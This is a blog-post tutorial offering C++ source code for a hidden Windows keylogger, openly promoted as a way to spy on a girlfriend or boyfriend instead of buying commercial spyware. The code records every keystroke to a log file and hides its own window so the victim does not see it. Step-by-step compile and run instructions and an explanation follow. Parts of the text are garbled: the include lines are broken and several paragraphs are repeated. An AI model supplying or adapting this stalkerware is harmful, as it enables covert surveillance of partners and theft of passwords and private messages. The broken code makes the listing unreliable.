Stop paying huge amounts to Sniperspy or Winspy to spy on your Girlfriend/ Boyfriend. Now you can make your own Keylogger easily with C++. Just follow the below mentioned steps:
First, you need a compiler. I recommend Dev C++ for this. (You can also use Borland's Turbo C++, Visual C++ or anything)
Now, Create a new project (File>New) and paste the following code in it.
First, you need a compiler. I recommend Dev C++ for this. (You can also use Borland's Turbo C++, Visual C++ or anything)
Now, Create a new project (File>New) and paste the following code in it.
#includeAnd compile it to make an executable .exe file.
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Explanation of Code
Here we use a Void Function named Stealth and another integer function called save in additional to int main() function (main function will execute first in all C++ apps). The stealth function is used to make the application stealth. It runs in background and invisible.
In main function, it calls Stealth function first to make the app stealth
under the if..statement, It tells the app to make a file called LOG.txt. It will be in the folder where your kelogger exists.
Then the last part- PAUSE is telling the OS to not to exit the software, stay paused
In main function, it calls Stealth function first to make the app stealth
under the if..statement, It tells the app to make a file called LOG.txt. It will be in the folder where your kelogger exists.
Then the last part- PAUSE is telling the OS to not to exit the software, stay paused
Now the save function,
It is so simple so that I think even a beginner can understand it by reading. It just compares the pressed key with various keys like Q, W, E ,....,shift, space etc. and writes it in the LOG.txt file.
It is so simple so that I think even a beginner can understand it by reading. It just compares the pressed key with various keys like Q, W, E ,....,shift, space etc. and writes it in the LOG.txt file.
Just execute the .exe file after compiling. You could see a blinking. Now it started working. Type some keys and check the LOG.txt file. VOILA!!! the pressed keys are recorded there. It keeps recording. To stop it you need to close it on the Task manager or shut down your system.
0 comments:
Click Here To add Comment
Blogger Widgets